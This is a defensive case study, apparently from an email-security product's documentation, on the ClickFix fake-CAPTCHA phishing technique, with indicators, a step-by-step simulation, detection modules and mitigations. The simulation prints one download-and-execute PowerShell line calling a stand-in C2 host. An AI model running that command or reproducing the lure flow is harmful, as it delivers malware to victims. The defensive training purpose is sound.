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Case 01 — ClickFix / Fake CAPTCHA Payload Delivery

Sources: Proofpoint, CISA AA24-241A, Microsoft Threat Intelligence, Sophos X-Ops (2024 to 2025).

Background

ClickFix is one of the most active initial-access techniques from late 2024 through 2026. Attackers host malicious PowerShell or mshta commands on impersonation pages (fake Cloudflare verification, fake Google reCAPTCHA, fake Microsoft Word errors) and trick the victim into pressing Win+R, pasting the command, and pressing Enter themselves. Because the user typed the command, browser SmartScreen and most EDR initial-execution checks are bypassed.

Common email vectors:

  • Fake DocuSign / Adobe / Microsoft document-share notifications
  • "GitHub security alert" subjects (targeting developers)
  • "Meeting recording is ready" subjects (corporate users)
  • Plausible PDF / Word attachments containing redirect links

Email indicators

  • Sender domains: lookalikes (docusing-secure.com, docus1gn.com, microsoft-365-help.com)
  • SPF/DKIM: typically passes (attacker uses real registered domain via SES/SendGrid/Mailgun)
  • Links: heavy use of *.workers.dev, *.pages.dev, *.r2.dev, *.web.app
  • HTML: notification-style with one big CTA button and minimal body text
  • Attachments: occasionally HTML attachments containing the fake reCAPTCHA UI directly

Animated walkthrough

Attack Simulation

ClickFix end-to-end

  1. 1Attacker
    Forge DocuSign-style notification email
    Register lookalike domain, send via reputable ESP
  2. 2Victim
    Victim clicks the REVIEW DOCUMENT button
    https://verify-cf.workers.dev/?id=ABC123
  3. 3Attacker
    Landing page mimics human verification
    Page prompts user to press Win+R, paste, Enter
  4. 4System / Gateway
    JavaScript silently wrote command to clipboard
    powershell -w h -c iwr https://c2.bad/x.ps1 | iex
  5. 5Victim
    Victim executes the command themselves
  6. 6Attacker
    C2 delivers Lumma / DarkGate payload
  7. 7Vigilyx
    Vigilyx blocks the chain end-to-end
    Vigilyx detectsheader_scan flags the lookalike, link_content fetches the landing page and detects clipboard.writeText plus Win+R fingerprints, content_scan matches phishing terms; DS-Murphy fusion escalates to High
Illustrative animation — all indicators sanitized, for research & training only

Vigilyx detection coverage

Vigilyx blocks ClickFix without relying on external threat intelligence:

  • Lookalike domain detectionheader_scan checks IDN homoglyphs and substitution characters (crates/vigilyx-engine/src/modules/header_scan.rs)
  • Dynamic-hosting downgradelink_scan flags *.workers.dev, *.pages.dev, *.r2.dev (crates/vigilyx-engine/src/modules/link_scan.rs)
  • Landing-page fingerprintinglink_content and landing_page_scan fetch the destination and match Win+R / clipboard.writeText fingerprints (crates/vigilyx-engine/src/modules/link_content.rs, landing_page_scan.rs)
  • Phishing-keyword normalizationcontent_scan normalizes traditional/simplified Chinese and fullwidth characters before matching (crates/vigilyx-engine/src/modules/content_scan/mod.rs)
  • Multi-module convergence — DS-Murphy fusion plus the convergence circuit breaker escalate to High when 3 or more modules fire (crates/vigilyx-engine/src/pipeline/verdict.rs, steps 6.5 / 6.6)
  • Auto IOC retention — once a verdict reaches High, the C2 domain is added to the local IOC store so subsequent emails hit immediately (crates/vigilyx-engine/src/ioc.rs)

In real-world replay against production traffic, Vigilyx reaches High on Cloudflare-Workers-hosted ClickFix landing pages without any external IOC feed, purely by combining link_content fingerprints with content_scan generic phishing terms.

Defense

  • Add *.workers.dev, *.pages.dev, *.r2.dev, *.web.app, *.netlify.app newly-registered subdomains to a risk list (do not blanket-block — these platforms host plenty of legitimate traffic)
  • Enforce landing-page fetching where compliance allows; reject any page containing clipboard.writeText plus Win+R fingerprints
  • Disable common PowerShell parameters (-EncodedCommand, -w hidden) at the endpoint via GPO

End-user training

  • Any "human verification" that asks for a keyboard shortcut is an attack — Microsoft, Cloudflare, and Google never require manual command execution
  • DocuSign and Adobe notifications come only from docusign.net and adobesign.com; everything else is a lookalike

Released under AGPL-3.0-only.